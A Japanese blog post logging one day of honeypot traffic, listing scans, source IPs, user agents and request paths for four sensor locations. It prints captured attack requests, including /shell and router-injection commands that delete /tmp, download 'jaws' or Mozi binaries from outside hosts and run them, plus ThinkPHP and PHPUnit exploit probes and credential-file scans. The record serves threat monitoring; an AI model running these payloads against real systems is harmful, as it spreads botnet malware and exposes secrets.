2022/04/20 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/04/20分です。

特徴

共通

/.awsへのスキャン行為
/.envへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Laravelへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  tigoinari.tk/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget jx.qingdaosheng.com/jaws;
sh /tmp/jaws

Location:US

GPONルータの脆弱性を狙うアクセス
JBossの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為
110.242.68.4に関する不正通信
85.206.160.115に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  tigoinari.tk/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 181.214.39.189/jaws;
sh /tmp/jaws

Location:UK

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
WordPressへのスキャン行為
phpMyAdminへのスキャン行為
85.206.160.115に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 23.94.50.159/jaws;
sh /tmp/jaws

Location:SG

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
85.206.160.115に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  tigoinari.tk/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget jx.qingdaosheng.com/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：67 (前日比：-1)
US：総アクセス数：85 (前日比：-83)
UK：総アクセス数：80 (前日比：-71)
SG：総アクセス数：58 (前日比：2)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
3	3.139.59.236	United States
1	20.225.89.182	United States
1	41.251.249.88	Morocco
1	87.251.75.206	Russia
14	95.214.235.205	Ukraine
2	103.51.223.245	India
1	103.161.177.129	Vietnam
1	103.178.236.40	Bangladesh
2	103.203.210.119	India
2	109.237.103.118	Russia
1	111.92.76.222	India
1	128.199.65.253	United Kingdom
8	135.125.217.54	France
8	135.125.246.110	France
1	137.184.238.43	United States
3	148.153.98.52	United States
1	154.27.87.104	United States
1	183.129.110.33	China
1	185.82.218.64	United States
8	185.254.196.217	Ukraine
1	193.118.53.210	United States
1	194.31.98.167	Netherlands
1	198.235.24.34	United States
1	205.210.31.9	United States
1	206.189.224.36	United States
1	222.128.33.7	China

UserAgent一覧

件数	UserAgent
10	`-`
1	`Go-http-client/1.1`
1	`Hello, World`
1	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36`
45	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`python-requests/2.22.0`
1	`python-requests/2.23.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`\x03`
1		`\x16\x03\x01\x01D\x01`
2		`\x16\x03\x01`
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.0
44	GET	`/.env`	HTTP/1.1
1	GET	`//favicon[.]ico`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/robots.txt`	HTTP/1.1
4	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ tigoinari.tk/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+jx[.]qingdaosheng[.]com/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/solr/`	HTTP/1.1
1	GET	`/test_404_page/`	HTTP/1.1
1	GET	`/yuuki?pp=env`	HTTP/1.1
1	GET	`http[:]//example[.]com/`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.225.227.178	United States
1	23.102.183.50	United States
1	36.5.157.99	China
1	36.106.167.181	China
1	39.104.22.126	China
9	45.155.204.146	Russia
10	51.79.29.48	Canada
1	59.89.222.104	India
1	79.142.131.173	Switzerland
1	87.251.75.206	Russia
6	89.248.165.52	United Kingdom
1	103.17.51.35	India
1	103.161.177.129	Vietnam
1	104.200.131.168	United States
2	109.237.103.9	Russia
2	109.237.103.118	Russia
1	110.52.195.164	China
11	111.200.216.55	China
1	112.66.111.24	China
1	112.193.168.51	China
1	118.81.10.27	China
1	121.29.178.142	China
1	123.245.25.66	China
1	125.84.236.2	China
1	135.181.71.236	Germany
1	142.93.194.204	United States
2	157.245.70.127	United States
1	162.142.125.8	United States
1	162.142.125.221	United States
1	163.123.142.219	United States
1	167.94.138.45	United States
1	171.37.178.61	China
1	185.82.218.64	United States
8	185.254.196.223	Ukraine
1	191.101.130.16	Brazil
1	193.56.146.28	Russia
1	193.118.53.202	United States
1	198.235.24.139	United States
2	205.210.31.134	United States
1	206.189.224.36	United States
1	209.141.41.193	United States
1	218.72.49.218	China

UserAgent一覧

件数	UserAgent
22	`-`
1	`Hello, World`
1	`Hello, world`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
9	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3239.132 Safari/537.36`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`
4	`PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3`

リクエスト内容一覧

件数	Method	Request	Protocol
6		`-`
2		`\x03`
2		`\x16\x03\x01\x01D\x01`
3		`\x16\x03\x01`
1	CONNECT	`85[.]206[.]160[.]115:80`	HTTP/1.1
1	CONNECT	`cn[.]bing[.]com:443`	HTTP/1.1
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
1	CONNECT	`www[.]baidu[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]so[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]voanews[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.0
25	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=cymx14fe`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/env`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/invoker/readonly`	HTTP/1.1
1	GET	`/jenkins/login`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/script`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ tigoinari.tk/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+181[.]214[.]39[.]189/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/solr/`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-login.php`	HTTP/1.1
1	GET	`http[:]//dongtaiwang[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]epochtimes[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]minghui[.]org/`	HTTP/1.1
1	GET	`http[:]//www[.]rfa[.]org/english/`	HTTP/1.1
1	GET	`http[:]//www[.]soso[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]wujieliulan[.]com/`	HTTP/1.1
1	HEAD	`http[:]//110[.]242[.]68[.]4/`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/_ignition/execute-solution`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	8.134.76.84	Singapore
1	20.127.112.104	United States
4	45.155.204.146	Russia
42	85.202.168.44	Netherlands
1	87.251.75.206	Russia
6	89.248.165.52	United Kingdom
2	109.237.103.118	Russia
1	113.85.83.160	China
1	120.85.92.219	China
1	123.9.116.165	China
1	156.196.2.196	Egypt
2	157.230.216.203	United States
1	163.123.142.219	United States
1	172.245.20.220	United States
1	182.114.248.186	China
1	185.82.218.64	United States
1	186.112.249.130	Colombia
1	193.56.146.28	Russia
1	193.118.53.202	United States
1	193.124.7.9	Czechia
4	198.20.69.98	United States
1	202.107.153.185	China
1	205.210.31.15	United States
1	205.210.31.149	United States
1	212.102.61.144	United Kingdom

UserAgent一覧

件数	UserAgent
23	`-`
1	`Go-http-client/1.1`
2	`Hello, World`
1	`Hello, world`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
42	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36`
3	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`

リクエスト内容一覧

件数	Method	Request	Protocol
5		`-`
2		`\x03`
1		`\x16\x03\x01\x01D\x01`
2		`\x16\x03\x01`
1	CONNECT	`85[.]206[.]160[.]115:80`	HTTP/1.1
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.0
2	GET	`/.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
3	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
3	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
3	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//182[.]114[.]248[.]186:45041/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+23[.]94[.]50[.]159/jaws;sh+/tmp/jaws`	HTTP/1.1
3	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
3	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/solr/`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
3	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/xmlrpc.php?rsd`	HTTP/1.1
1	GET	`http[:]//example[.]com/`	HTTP/1.1
1	HEAD	`/phpmyadmin/`	HTTP/1.1
1	HEAD	`/phpmyadmin`	HTTP/1.1
2	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	43.154.165.79	Singapore
1	45.77.239.190	United States
6	45.155.204.146	Russia
9	51.79.29.48	Canada
1	72.47.16.108	United States
1	87.251.75.206	Russia
6	89.248.165.52	United Kingdom
1	103.92.36.179	Indonesia
1	103.161.232.108	India
2	109.237.103.9	Russia
2	109.237.103.118	Russia
1	119.28.134.183	China
1	128.14.134.134	United States
1	142.93.194.204	United States
2	157.230.216.203	United States
2	159.223.180.164	United States
1	162.142.125.210	United States
1	162.142.125.221	United States
1	163.123.142.219	United States
1	173.9.45.226	United States
1	185.82.218.64	United States
8	185.254.196.223	Ukraine
2	193.56.146.28	Russia
4	198.20.87.98	United States
1	198.235.24.147	United States

UserAgent一覧

件数	UserAgent
21	`-`
2	`Hello, world`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`-`
1		`27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$`	HTTP/1.0
3		`\x03`
2		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01`
1	CONNECT	`85[.]206[.]160[.]115:80`	HTTP/1.1
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.0
24	GET	`/.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ tigoinari.tk/jaws;sh+/tmp/jaws`
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+jx[.]qingdaosheng[.]com/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0